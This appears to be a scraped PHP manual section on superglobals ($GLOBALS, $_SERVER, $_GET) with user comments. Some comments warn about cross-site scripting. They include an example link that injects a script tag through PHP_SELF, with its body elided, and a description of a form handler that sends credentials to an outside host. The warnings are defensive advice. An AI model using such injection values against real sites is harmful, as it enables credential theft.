josh,endquote,com 03-Dec-2003 03:54
Running PHP 4.3 under IIS 5 on Windows XP, there is no $_SERVER['REQUEST_URI'] variable. This seems to fix it:

if(!isset($_SERVER['REQUEST_URI'])) {
    $_SERVER['REQUEST_URI'] = substr($_SERVER['argv'][0], strpos($_SERVER['argv'][0], ';') + 1);
}
Spotting References
Superglobals
Language Reference


Superglobals are built-in variables that are always available in all scopes

Predefined Variables
$GLOBALS
Predefined Variables
PHP Manual

Superglobals

Superglobals — Superglobals are built-in variables that are always available in all scopes

Description

Several predefined variables in PHP are "superglobals", which means they are available in all scopes throughout a script. There is no need to do global $variable; to access them within functions or methods.

These superglobal variables are:

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

Changelog

Version | Description
4.1.0 | Superglobals were introduced to PHP.

Notes

Note: Variable availability

By default, all of the superglobals are available but there are directives that affect this availability. For further information, refer to the documentation for variables_order.

Note: Dealing with register_globals

If the deprecated register_globals directive is set to on then the variables within will also be made available in the global scope of the script. For example, $_POST['foo'] would also exist as $foo.

For related information, see the FAQ titled "How does register_globals affect me?"

Note: Variable variables

Superglobals cannot be used as variable variables inside functions or class methods.

See Also

  • variable scope
  • The variables_order directive
  • The filter extension

User Contributed Notes

lskatz at gmail dot com 10-Oct-2008 08:51
Tibor:
It's not a good idea to use $_ENV unless you are specifying an environmental variable.  This is probably a better example that I found on another page in php.net

<?php
function test() {
    $foo = "local variable";

    echo '$foo in global scope: ' . $GLOBALS["foo"] . "\n";
    echo '$foo in current scope: ' . $foo . "\n";
}

$foo = "Example content";
test();
?>
Tibor > rocketmachine.com 05-Oct-2008 10:00
You can use superglobals to make your variables available everywhere without declaring them global.

<?php

$_ENV['mystring'] = 'Hello World';
$_ENV['myarray'] = array('Alpha', 'Bravo', 'Charlie');

function test() {
    print $_ENV['mystring'];
    print_r($_ENV['myarray']);
}

test();

?>
Predefined Variables
$GLOBALS
Predefined Variables


References all variables available in global scope

Superglobals
$_SERVER
Predefined Variables
PHP Manual

$GLOBALS

(PHP 4, PHP 5)

$GLOBALS — References all variables available in global scope

Description

An associative array containing references to all variables which are currently defined in the global scope of the script. The variable names are the keys of the array.

Examples

Example #1 $GLOBALS example

<?php
function test() {
    $foo = "local variable";

    echo '$foo in global scope: ' . $GLOBALS["foo"] . "\n";
    echo '$foo in current scope: ' . $foo . "\n";
}

$foo = "Example content";
test();
?>

The above example will output something similar to:

$foo in global scope: Example content
$foo in current scope: local variable

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

Note: Variable availability

Unlike all of the other superglobals, $GLOBALS has essentially always been available in PHP.

User Contributed Notes

therandshow at gmail dot com 29-Jun-2011 06:32
As of PHP 5.4 $GLOBALS is now initialized just-in-time. This means there now is an advantage to not use the $GLOBALS variable as you can avoid the overhead of initializing it. How much of an advantage that is I'm not sure, but I've never liked $GLOBALS much anyways.
williams at 3cisd dot com 28-Jul-2009 03:53
Better yet, use print_r.  While var_dump does detect the recursion that var_export fails on, it seems to recurse one level first for my setup.  So var_dump ends up printing all globals twice, but print_r prints them only once since it detects the recursion right away.  Serialize seems to not detect the recursion at all either, similar to var_export.
David 14-Aug-2008 05:47
Though you can use var_dump to output the value of $GLOBALS.
ravenswd at yahoo dot com 12-Aug-2008 01:02
Keep in mind that $GLOBALS is, itself, a global variable. So code like this won't work:

<?php
    print '$GLOBALS = ' . var_export($GLOBALS, true) . "\n";
?>

This results in the error message: "Nesting level too deep - recursive dependency?"
Superglobals
$_SERVER
Predefined Variables


Server and execution environment information

$GLOBALS
$_GET
Predefined Variables
PHP Manual

$_SERVER

$HTTP_SERVER_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_SERVER -- $HTTP_SERVER_VARS [deprecated] — Server and execution environment information

Description

$_SERVER is an array containing information such as headers, paths, and script locations. The entries in this array are created by the web server. There is no guarantee that every web server will provide any of these; servers may omit some, or provide others not listed here. That said, a large number of these variables are accounted for in the » CGI/1.1 specification, so you should be able to expect those.

$HTTP_SERVER_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_SERVER_VARS and $_SERVER are different variables and that PHP handles them as such)

Indices

You may or may not find any of the following elements in $_SERVER. Note that few, if any, of these will be available (or indeed have any meaning) if running PHP on the command line.

'PHP_SELF'
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file. If PHP is running as a command-line processor this variable contains the script name since PHP 4.3.0. Previously it was not available.
'argv'
Array of arguments passed to the script. When the script is run on the command line, this gives C-style access to the command line parameters. When called via the GET method, this will contain the query string.
'argc'
Contains the number of command line parameters passed to the script (if run on the command line).
'GATEWAY_INTERFACE'
What revision of the CGI specification the server is using; i.e. 'CGI/1.1'.
'SERVER_ADDR'
The IP address of the server under which the current script is executing.
'SERVER_NAME'
The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.
'SERVER_SOFTWARE'
Server identification string, given in the headers when responding to requests.
'SERVER_PROTOCOL'
Name and revision of the information protocol via which the page was requested; i.e. 'HTTP/1.0';
'REQUEST_METHOD'
Which request method was used to access the page; i.e. 'GET', 'HEAD', 'POST', 'PUT'.

Note:

PHP script is terminated after sending headers (it means after producing any output without output buffering) if the request method was HEAD.

'REQUEST_TIME'
The timestamp of the start of the request. Available since PHP 5.1.0. It is float with microseconds since PHP 5.4.0.
'QUERY_STRING'
The query string, if any, via which the page was accessed.
'DOCUMENT_ROOT'
The document root directory under which the current script is executing, as defined in the server's configuration file.
'HTTP_ACCEPT'
Contents of the Accept: header from the current request, if there is one.
'HTTP_ACCEPT_CHARSET'
Contents of the Accept-Charset: header from the current request, if there is one. Example: 'iso-8859-1,*,utf-8'.
'HTTP_ACCEPT_ENCODING'
Contents of the Accept-Encoding: header from the current request, if there is one. Example: 'gzip'.
'HTTP_ACCEPT_LANGUAGE'
Contents of the Accept-Language: header from the current request, if there is one. Example: 'en'.
'HTTP_CONNECTION'
Contents of the Connection: header from the current request, if there is one. Example: 'Keep-Alive'.
'HTTP_HOST'
Contents of the Host: header from the current request, if there is one.
'HTTP_REFERER'
The address of the page (if any) which referred the user agent to the current page. This is set by the user agent. Not all user agents will set this, and some provide the ability to modify HTTP_REFERER as a feature. In short, it cannot really be trusted.
'HTTP_USER_AGENT'
Contents of the User-Agent: header from the current request, if there is one. This is a string denoting the user agent being which is accessing the page. A typical example is: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Among other things, you can use this value with get_browser() to tailor your page's output to the capabilities of the user agent.
'HTTPS'
Set to a non-empty value if the script was queried through the HTTPS protocol.

Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol.

'REMOTE_ADDR'
The IP address from which the user is viewing the current page.
'REMOTE_HOST'
The Host name from which the user is viewing the current page. The reverse dns lookup is based off the REMOTE_ADDR of the user.

Note: Your web server must be configured to create this variable. For example in Apache you'll need HostnameLookups On inside httpd.conf for it to exist. See also gethostbyaddr().

'REMOTE_PORT'
The port being used on the user's machine to communicate with the web server.
'REMOTE_USER'
The authenticated user.
'REDIRECT_REMOTE_USER'
The authenticated user if the request is internally redirected.
'SCRIPT_FILENAME'

The absolute pathname of the currently executing script.

Note:

If a script is executed with the CLI, as a relative path, such as file.php or ../file.php, $_SERVER['SCRIPT_FILENAME'] will contain the relative path specified by the user.

'SERVER_ADMIN'
The value given to the SERVER_ADMIN (for Apache) directive in the web server configuration file. If the script is running on a virtual host, this will be the value defined for that virtual host.
'SERVER_PORT'
The port on the server machine being used by the web server for communication. For default setups, this will be '80'; using SSL, for instance, will change this to whatever your defined secure HTTP port is.
'SERVER_SIGNATURE'
String containing the server version and virtual host name which are added to server-generated pages, if enabled.
'PATH_TRANSLATED'
Filesystem- (not document root-) based path to the current script, after the server has done any virtual-to-real mapping.

Note: As of PHP 4.3.2, PATH_TRANSLATED is no longer set implicitly under the Apache 2 SAPI in contrast to the situation in Apache 1, where it's set to the same value as the SCRIPT_FILENAME server variable when it's not populated by Apache. This change was made to comply with the CGI specification that PATH_TRANSLATED should only exist if PATH_INFO is defined. Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.

'SCRIPT_NAME'
Contains the current script's path. This is useful for pages which need to point to themselves. The __FILE__ constant contains the full path and filename of the current (i.e. included) file.
'REQUEST_URI'
The URI which was given in order to access this page; for instance, '/index.html'.
'PHP_AUTH_DIGEST'
When doing Digest HTTP authentication this variable is set to the 'Authorization' header sent by the client (which you should then use to make the appropriate validation).
'PHP_AUTH_USER'
When doing HTTP authentication this variable is set to the username provided by the user.
'PHP_AUTH_PW'
When doing HTTP authentication this variable is set to the password provided by the user.
'AUTH_TYPE'
When doing HTTP authenticated this variable is set to the authentication type.
'PATH_INFO'
Contains any client-provided pathname information trailing the actual script filename but preceding the query string, if available. For instance, if the current script was accessed via the URL http://www.example.com/php/path_info.php/some/stuff?foo=bar, then $_SERVER['PATH_INFO'] would contain /some/stuff.
'ORIG_PATH_INFO'
Original version of 'PATH_INFO' before processed by PHP.

Changelog

Version | Description
4.1.0 | Introduced $_SERVER that deprecated $HTTP_SERVER_VARS.

Examples

Example #1 $_SERVER example

<?php
echo $_SERVER['SERVER_NAME'];
?>

The above example will output something similar to:

www.example.com

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • The filter extension

User Contributed Notes

mdlamar at gmail dot com 12-Dec-2011 03:04
$_SERVER['SERVER_ADDR'] contains my LAN IP rather than the public IP. I used the function gethostbyname() to get my public IP rather than the router assigned local IP.
picov at e-link dot it 13-Oct-2011 10:59
A simple function to detect if the current page address was rewritten by mod_rewrite:

<?php
public function urlWasRewritten() {
  $realScriptName=$_SERVER['SCRIPT_NAME'];
  $virtualScriptName=reset(explode("?", $_SERVER['REQUEST_URI']));
  return !($realScriptName==$virtualScriptName);
}
?>
MarkAgius at markagius dot co dot uk 31-Aug-2011 02:18
You have missed 'REDIRECT_STATUS'

Very useful if you point all your error pages to the same file.

File; .htaccess
# .htaccess file.

ErrorDocument 404 /error-msg.php
ErrorDocument 500 /error-msg.php
ErrorDocument 400 /error-msg.php
ErrorDocument 401 /error-msg.php
ErrorDocument 403 /error-msg.php
# End of file.

File; error-msg.php
<?php
  $HttpStatus = $_SERVER["REDIRECT_STATUS"] ;
  if($HttpStatus==200) {print "Document has been processed and sent to you.";}
  if($HttpStatus==400) {print "Bad HTTP request ";}
  if($HttpStatus==401) {print "Unauthorized - Iinvalid password";}
  if($HttpStatus==403) {print "Forbidden";}
  if($HttpStatus==500) {print "Internal Server Error";}
  if($HttpStatus==418) {print "I'm a teapot! - This is a real value, defined in 1998";}

?>
Jamie 02-Mar-2011 01:18
Note that on real paths, aliases are not resolved

$_SERVER["DOCUMENT_ROOT"] => /var/services/web/mysite
$_SERVER["SCRIPT_FILENAME"] => /var/services/web/mysite/admin/products.php

(but __FILE__ => /volume1/web/mysite/admin/inc/includeFile.inc.php)
Use realpath to resolve the $_SERVER value.

Virtual paths also have some differences:
$_SERVER["SCRIPT_NAME"] => /admin/products.php (virtual path)
$_SERVER["PHP_SELF"] => /admin/products.php/someExtraStuff (virtual path)

SCRIPT_NAME is defined in the CGI 1.1 specification, PHP_SELF is created by PHP itself. See http://php.about.com/od/learnphp/qt/_SERVER_PHP.htm for tests.
sainthyoga2003 at gmail dot com 25-Feb-2011 12:37
$_SERVER["SCRIPT_FILENAME"] returns the path including the filename, like __DIR__
Josh Fremer 20-Dec-2010 10:47
HTTPS

Set to a non-empty value if the script was queried through the HTTPS protocol.

Note: Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol.

=-=-=

To clarify this, the value is the string "off", so a specific non-empty value rather than an empty value as in Apache.
rulerof at gmail dot com 17-Nov-2010 10:12
I needed to get the full base directory of my script local to my webserver, IIS 7 on Windows 2008.

I ended up using this:

<?php
function GetBasePath() {
    return substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\")));
}
?>

And it returned C:\inetpub\wwwroot\<applicationfolder> as I had hoped.
Stefano (info at sarchittu dot org) 12-Nov-2010 06:07
A way to get the absolute path of your page, independent from the site position (so works both on local machine and on server without setting anything) and from the server OS (works both on Unix systems and Windows systems).

The only parameter it requires is the folder in which you place this script
So, for istance, I'll place this into my SCRIPT folder, and I'll write SCRIPT word length in $conflen

<?php
$conflen=strlen('SCRIPT');
$B=substr(__FILE__,0,strrpos(__FILE__,'/'));
$A=substr($_SERVER['DOCUMENT_ROOT'], strrpos($_SERVER['DOCUMENT_ROOT'], $_SERVER['PHP_SELF']));
$C=substr($B,strlen($A));
$posconf=strlen($C)-$conflen-1;
$D=substr($C,1,$posconf);
$host='http://'.$_SERVER['SERVER_NAME'].'/'.$D;
?>

$host will finally contain the absolute path.
Anonymous 12-Nov-2010 04:22
Use Strict-Transport-Security (STS) to force the use of SSL.
<?php
$use_sts = TRUE;

if ($use_sts && isset($_SERVER['HTTPS']) {
  header('Strict-Transport-Security: max-age=500');
} elseif ($use_sts && !isset($_SERVER['HTTPS']) {
  header('Status-Code: 301');
  header('Location: https://'.$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']);
}
?>
dtomasiewicz at gmail dot com 14-Aug-2010 08:03
To get an associative array of HTTP request headers formatted similarly to get_headers(), this will do the trick:

<?php
/**
 * Transforms $_SERVER HTTP headers into a nice associative array. For example:
 *   array(
 *       'Referer' => 'example.com',
 *       'X-Requested-With' => 'XMLHttpRequest'
 *   )
 */
function get_request_headers() {
    $headers = array();
    foreach($_SERVER as $key => $value) {
        if(strpos($key, 'HTTP_') === 0) {
            $headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))))] = $value;
        }
    }
    return $headers;
}
?>
wbeaumo1 at gmail dot com 13-Jun-2010 08:43
Don't forget $_SERVER['HTTP_COOKIE']. It contains the raw value of the 'Cookie' header sent by the user agent.
kamazee at gmail dot com 15-Apr-2010 06:41
$_SERVER['DOCUMENT_ROOT'] in different environments may has trailing slash or not, so be careful when including files from $_SERVER['DOCUMENT_ROOT']:
<?php
include(dirname($_SERVER['DOCUMENT_ROOT']) . DIRECTORY_SEPARATOR . 'file.php')
?>
php at isnoop dot net 01-Apr-2010 09:38
Use the apache SetEnv directive to set arbitrary $_SERVER variables in your vhost or apache config.

SetEnv varname "variable value"
piana at pyrohawk dot com 17-Mar-2010 09:26
There are two different variables that I find very useful in Caching and similar.

$_SERVER['REQUEST_URI'] and $_SERVER['REQUEST_URL']

URI provides the entire request path (/directory/file.ext?query=string)
URL provides the request path, without the query string (/directory/file.ext)
It also differs from __FILE__ in that it's not the file name.  So, if you go to /directory/anotherfile.ext and get silently redirected to file.ext, these variables are anotherfile.ext, while __FILE__ is still file.ext.
Megan Mickelson 22-Feb-2010 03:36
It makes sense to want to paste the $_SERVER['REQUEST_URI'] on to a page (like on a footer), but be sure to clean it up first with htmlspecialchars() otherwise it poses a cross-site scripting vulnerability.

htmlspecialchars($_SERVER['REQUEST_URI']);

e.g.
http://www.example.com/foo?<script>...

becomes
http://www.example.com/foo?&lt;script&gt;...
admin at NOSpAM dot sinfocol dot org 14-Jan-2010 10:31
I was testing with the $_SERVER variable and some request method, and I found that with apache I can put an arbitrary method.

For example, I have an script called "server.php" in my example webpage with the next code:

<?php
echo $_SERVER['REQUEST_METHOD'];
?>

And I made this request:
c:\>nc -vv www.example.com 80
example.com [x.x.x.x] 80 (http) open
ArbitratyMethod /server.php HTTP/1.1
Host: wow.sinfocol.org
Connection: Close

The response of the server is the next:
HTTP/1.1 200 OK
Date: Fri, 15 Jan 2010 05:14:09 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

ArbitratyMethod

So, be carefully when include the $_SERVER['REQUEST_METHOD'] in any script, this kind of "bug" is old and could be dangerous.
mirko dot steiner at slashdevslashnull dot de 24-Oct-2009 02:43
<?php

// RFC 2616 compatible Accept Language Parser
// http://www.ietf.org/rfc/rfc2616.txt, 14.4 Accept-Language, Page 104
// Hypertext Transfer Protocol -- HTTP/1.1

foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
    $pattern = '/^(?P<primarytag>[a-zA-Z]{2,8})'.
    '(?:-(?P<subtag>[a-zA-Z]{2,8}))?(?:(?:;q=)'.
    '(?P<quantifier>\d\.\d))?$/';

    $splits = array();

    printf("Lang:,,%s''\n", $lang);
    if (preg_match($pattern, $lang, $splits)) {
        print_r($splits);
    } else {
        echo "\nno match\n";
    }
}

?>

example output:

Google Chrome 3.0.195.27 Windows xp

Lang:,,de-DE''
Array
(
    [0] => de-DE
    [primarytag] => de
    [1] => de
    [subtag] => DE
    [2] => DE
)
Lang:,,de;q=0.8''
Array
(
    [0] => de;q=0.8
    [primarytag] => de
    [1] => de
    [subtag] =>
    [2] =>
    [quantifier] => 0.8
    [3] => 0.8
)
Lang:,,en-US;q=0.6''
Array
(
    [0] => en-US;q=0.6
    [primarytag] => en
    [1] => en
    [subtag] => US
    [2] => US
    [quantifier] => 0.6
    [3] => 0.6
)
Lang:,,en;q=0.4''
Array
(
    [0] => en;q=0.4
    [primarytag] => en
    [1] => en
    [subtag] =>
    [2] =>
    [quantifier] => 0.4
    [3] => 0.4
)
Lord Mac 14-Oct-2009 07:56
An even *more* improved version...

<?php
phpinfo(32);
?>
steve at sc-fa dot com 17-Sep-2009 12:20
If you are serving from behind a proxy server, you will almost certainly save time by looking at what these $_SERVER variables do on your machine behind the proxy.

$_SERVER['HTTP_X_FORWARDED_FOR'] in place of $_SERVER['REMOTE_ADDR']

$_SERVER['HTTP_X_FORWARDED_HOST'] and
$_SERVER['HTTP_X_FORWARDED_SERVER'] in place of (at least in our case,) $_SERVER['SERVER_NAME']
cupy at email dot cz 20-Aug-2009 08:24
Tech note:
$_SERVER['argc'] and $_SERVER['argv'][] has some funny behaviour,
used from linux (bash) commandline, when called like
"php ./script_name.php 0x020B"
there is everything correct, but
"./script_name.php 0x020B"
is not correct - "0" is passed instead of "0x020B" as $_SERVER['argv'][1] - see the script below.
Looks like the parameter is not passed well from bash to PHP.
(but, inspected on the level of bash, 0x020B is understood well as $1)

try this example:

------------->8------------------
cat ./script_name.php
#! /usr/bin/php

if( $_SERVER['argc'] == 2)
  {
    // funny... we have to do this trick to pass e.g. 0x020B from parameters
    // ignore this: "PHP Notice:  Undefined offset:  2 in ..."
    $EID = $_SERVER['argv'][1] + $_SERVER['argv'][2] + $_SERVER['argv'][3];
  }
 else
   {        // default
     $EID = 0x0210; // PPS failure
   }
jarrod at squarecrow dot com 10-Aug-2009 08:31
$_SERVER['DOCUMENT_ROOT'] is incredibly useful especially when working in your development environment. If you're working on large projects you'll likely be including a large number of files into your pages. For example:

<?php
//Defines constants to use for "include" URLS - helps keep our paths clean

        define("REGISTRY_CLASSES",  $_SERVER['DOCUMENT_ROOT']."/SOAP/classes/");
        define("REGISTRY_CONTROLS", $_SERVER['DOCUMENT_ROOT']."/SOAP/controls/");

        define("STRING_BUILDER",     REGISTRY_CLASSES. "stringbuilder.php");
        define("SESSION_MANAGER",     REGISTRY_CLASSES. "sessionmanager.php");
        define("STANDARD_CONTROLS",    REGISTRY_CONTROLS."standardcontrols.php");
?>

In development environments, you're rarely working with your root folder, especially if you're running PHP locally on your box and using DOCUMENT_ROOT is a great way to maintain URL conformity. This will save you hours of work preparing your application for deployment from your box to a production server (not to mention save you the headache of include path failures).
Richard York 09-Jul-2009 11:19
Not documented here is the fact that $_SERVER is populated with some pretty useful information when accessing PHP via the shell.

 ["_SERVER"]=>
  array(24) {
    ["MANPATH"]=>
    string(48) "/usr/share/man:/usr/local/share/man:/usr/X11/man"
    ["TERM"]=>
    string(11) "xterm-color"
    ["SHELL"]=>
    string(9) "/bin/bash"
    ["SSH_CLIENT"]=>
    string(20) "127.0.0.1 41242 22"
    ["OLDPWD"]=>
    string(60) "/Library/WebServer/Domains/www.example.com/private"
    ["SSH_TTY"]=>
    string(12) "/dev/ttys000"
    ["USER"]=>
    string(5) "username"
    ["MAIL"]=>
    string(15) "/var/mail/username"
    ["PATH"]=>
    string(57) "/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin"
    ["PWD"]=>
    string(56) "/Library/WebServer/Domains/www.example.com/www"
    ["SHLVL"]=>
    string(1) "1"
    ["HOME"]=>
    string(12) "/Users/username"
    ["LOGNAME"]=>
    string(5) "username"
    ["SSH_CONNECTION"]=>
    string(31) "127.0.0.1 41242 10.0.0.1 22"
    ["_"]=>
    string(12) "/usr/bin/php"
    ["__CF_USER_TEXT_ENCODING"]=>
    string(9) "0x1F5:0:0"
    ["PHP_SELF"]=>
    string(10) "Shell.php"
    ["SCRIPT_NAME"]=>
    string(10) "Shell.php"
    ["SCRIPT_FILENAME"]=>
    string(10) "Shell.php"
    ["PATH_TRANSLATED"]=>
    string(10) "Shell.php"
    ["DOCUMENT_ROOT"]=>
    string(0) ""
    ["REQUEST_TIME"]=>
    int(1247162183)
    ["argv"]=>
    array(1) {
      [0]=>
      string(10) "Shell.php"
    }
    ["argc"]=>
    int(1)
  }
chris 02-Jul-2009 04:01
A table of everything in the $_SERVER array can be found near the bottom of the output of phpinfo();
pudding06 at gmail dot com 02-May-2009 02:44
Here's a simple, quick but effective way to block unwanted external visitors to your local server:

<?php
// only local requests
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') die(header("Location: /"));
?>

This will direct all external traffic to your home page. Of course you could send a 404 or other custom error. Best practice is not to stay on the page with a custom error message as you acknowledge that the page does exist. That's why I redirect unwanted calls to (for example) phpmyadmin.
dragon[dot]dionysius[at]gmail[dot]com 29-Apr-2009 10:53
I've updated the function of my previous poster and putted it into my class.

<?php
    /**
     * Checking HTTP-Header for language
     * needed for various system classes
     *
     * @return    boolean    true/false
     */
    private function _checkClientLanguage()
    {
        $langcode = (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
        $langcode = (!empty($langcode)) ? explode(";", $langcode) : $langcode;
        $langcode = (!empty($langcode['0'])) ? explode(",", $langcode['0']) : $langcode;
        $langcode = (!empty($langcode['0'])) ? explode("-", $langcode['0']) : $langcode;
        return $langcode['0'];
    }
?>

Please note, you have to check additional the result! Because the header may be missing or another possible thing, it is malformed. So check the result with a list with languages you support and perhaps you have to load a default language.

<?php

// if result isn't one of my defined languages
            if(!in_array($lang, $language_list)) {
                $lang = $language_default; // load default

?>

My HTTP_ACCEPT_LANGUAGE string:
FF3: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
IE7: de-ch

So, take care of it!
dalys at chokladboll dot se 15-Apr-2009 02:03
If you want en, sv-SE, da, es etc. to be returned from $_SERVER['HTTP_ACCEPT_LANGUAGE'] you can use this function:

<?php
function detectlanguage() {
    $langcode = explode(";", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    $langcode = explode(",", $langcode['0']);
    return $langcode['0'];
    }

$language = detectlanguage();

echo "You have chosen $language as your language in your web browser.";
?>
Vladimir Kornea 13-Mar-2009 05:06
1. All elements of the $_SERVER array whose keys begin with 'HTTP_' come from HTTP request headers and are not to be trusted.

2. All HTTP headers sent to the script are made available through the $_SERVER array, with names prefixed by 'HTTP_'.

3. $_SERVER['PHP_SELF'] is dangerous if misused. If login.php/nearly_arbitrary_string is requested, $_SERVER['PHP_SELF'] will contain not just login.php, but the entire login.php/nearly_arbitrary_string. If you've printed $_SERVER['PHP_SELF'] as the value of the action attribute of your form tag without performing HTML encoding, an attacker can perform XSS attacks by offering users a link to your site such as this:

<a href='http://www.example.com/login.php/"><script type="text/javascript">...</script><span a="'>Example.com</a>

The javascript block would define an event handler function and bind it to the form's submit event. This event handler would load via an <img> tag an external file, with the submitted username and password as parameters.

Use $_SERVER['SCRIPT_NAME'] instead of $_SERVER['PHP_SELF']. HTML encode every string sent to the browser that should not be interpreted as HTML, unless you are absolutely certain that it cannot contain anything that the browser can interpret as HTML.
info at mtprod dot com 23-Jan-2009 02:13
On Windows IIS 7 you must use $_SERVER['LOCAL_ADDR'] rather than $_SERVER['SERVER_ADDR'] to get the server's IP address.
jonbarnett at gmail dot com 23-Nov-2008 09:13
It's worth noting that $_SERVER variables get created for any HTTP request headers, including those you might invent:

If the browser sends an HTTP request header of:
X-Debug-Custom: some string

Then:

<?php
$_SERVER['HTTP_X_DEBUG_CUSTOM']; // "some string"
?>

There are better ways to identify the HTTP request headers sent by the browser, but this is convenient if you know what to expect from, for example, an AJAX script with custom headers.

Works in PHP5 on Apache with mod_php.  Don't know if this is true from other environments.
jette at nerdgirl dot dk 01-Nov-2008 11:43
Windows running IIS v6 does not include $_SERVER['SERVER_ADDR']

If you need to get the IP addresse, use this instead:

<?php
$ipAddress = gethostbyname($_SERVER['SERVER_NAME']);
?>
geoffrey dot hoffman at gmail dot com 25-Oct-2008 05:13
If you are looking at $_SERVER['HTTP_USER_AGENT'] to determine whether your user is on a mobile device, you may want to visit these resources:

http://wurfl.sourceforge.net/

http://www.zytrax.com/tech/web/mobile_ids.html
Thomas Urban 22-Oct-2008 01:19
Maybe you're missing information on $_SERVER['CONTENT_TYPE'] or $_SERVER['CONTENT_LENGTH'] as I did. On POST-requests these are available in addition to those listed above.
Taomyn 12-Oct-2008 07:21
'HTTPS'
    Set to a non-empty value if the script was queried through the HTTPS protocol. Note that when using ISAPI with IIS, the value will be off if the request was not made through the HTTPS protocol.

Does the same for IIS7 running PHP as a Fast-CGI application.
Tonin 16-Sep-2008 10:43
When using the $_SERVER['SERVER_NAME'] variable in an apache virtual host setup with a ServerAlias directive, be sure to check the UseCanonicalName apache directive.  If it is On, this variable will always have the apache ServerName value.  If it is Off, it will have the value given by the headers sent by the browser.

Depending on what you want to do the content of this variable, put in On or Off.
Andrew B 08-Sep-2008 04:26
Please note on Windows/IIS - the variable 'USER_AUTH' will return the username/identity of the user accessing the page, i.e. if anonymous access is off, you would normally get back "$domain\$username".
jeff at example dot com 12-Aug-2008 11:24
Note that, in Apache 2, the server settings will affect the variables available in $_SERVER. For example, if you are using SSL, the following directive will dump SSL-related status information, along with the server certificate and client certificate (if present) into the $_SERVER variables:

SSLOptions +StdEnvVars +ExportCertData
silverquick at gmail dot com 05-Aug-2008 05:55
I think the HTTPS element will only be present under Apache 2.x. It's not in the list of "special" variables here:
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteCond
But it is here:
http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond
danny at orionrobots dot co dot uk 31-Jul-2008 02:25
It is worth noting here that if you use $_SERVER['REQUEST_URI'] with a rewrite rule, the original, not rewritten URI will be presented.
emailfire at gmail dot com 26-May-2008 07:49
REQUEST_URI is useful, but if you want to get just the file name use:

<?php
$this_page = basename($_SERVER['REQUEST_URI']);
if (strpos($this_page, "?") !== false) $this_page = reset(explode("?", $this_page));
?>
$GLOBALS
$_GET
Predefined Variables


HTTP GET variables

$_SERVER
$_POST
Predefined Variables
PHP Manual

$_GET

$HTTP_GET_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_GET -- $HTTP_GET_VARS [deprecated] — HTTP GET variables

Description

An associative array of variables passed to the current script via the URL parameters.

$HTTP_GET_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_GET_VARS and $_GET are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_GET that deprecated $HTTP_GET_VARS.

Examples

Example #1 $_GET example

<?php
echo 'Hello ' . htmlspecialchars($_GET["name"]) . '!';
?>

Assuming the user entered http://example.com/?name=Hannes

The above example will output something similar to:

Hello Hannes!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

Note:

The GET variables are passed through urldecode().

See Also

  • Handling external variables
  • The filter extension

User Contributed Notes

zgold 10-Aug-2011 01:58
I don't directly use $_GET due to security concerns, instead I create a new array called $_CLEAN which contains cleaned superglobal variables.

<?php
function clean($elem)
{
    if(!is_array($elem))
        $elem = htmlentities($elem,ENT_QUOTES,"UTF-8");
    else
        foreach ($elem as $key => $value)
            $elem[$key] = $this->clean($value);
    return $elem;
}

$_CLEAN['GET'] = clean($_GET);
?>

I also do this for $_POST, as followed:
<?php $_CLEAN['POST'] = clean($_POST); ?>
Maarten Schroeven 25-Jul-2011 01:09
You can use this function to remove any $_GET variables out of your URL, it takes an array off strings(the names keys of the $_GET you wish to remove) and returns the url with the ones specified removed

<?php
  function getUrlWithout($getNames){
      $url = "http" . ((!empty($_SERVER['HTTPS'])) ? "s" : "") . "://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
      $questionMarkExp = explode("?", $url);
      $urlArray = explode("&", $questionMarkExp[1]);
      $retUrl=$questionMarkExp[0];
      $retGet="";
      $found=array();
      foreach($getNames as $id => $name){
            foreach ($urlArray as $key=>$value){
                if(isset($_GET[$name]) && $value==$name."=".$_GET[$name])
                    unset($urlArray[$key]);
          }
      }
      $urlArray = array_values($urlArray);
      foreach ($urlArray as $key => $value){
          if($key<sizeof($urlArray) && $retGet!=="")
              $retGet.="&";
          $retGet.=$value;
      }
      return $retUrl."?".$retGet;
  }
?>

Example
current url is http://www.example.net/index.php?getVar1=Something&getVar2=10&getVar3=ok
<?php
    echo getUrlWithout(array("getVar1","getVar3"));
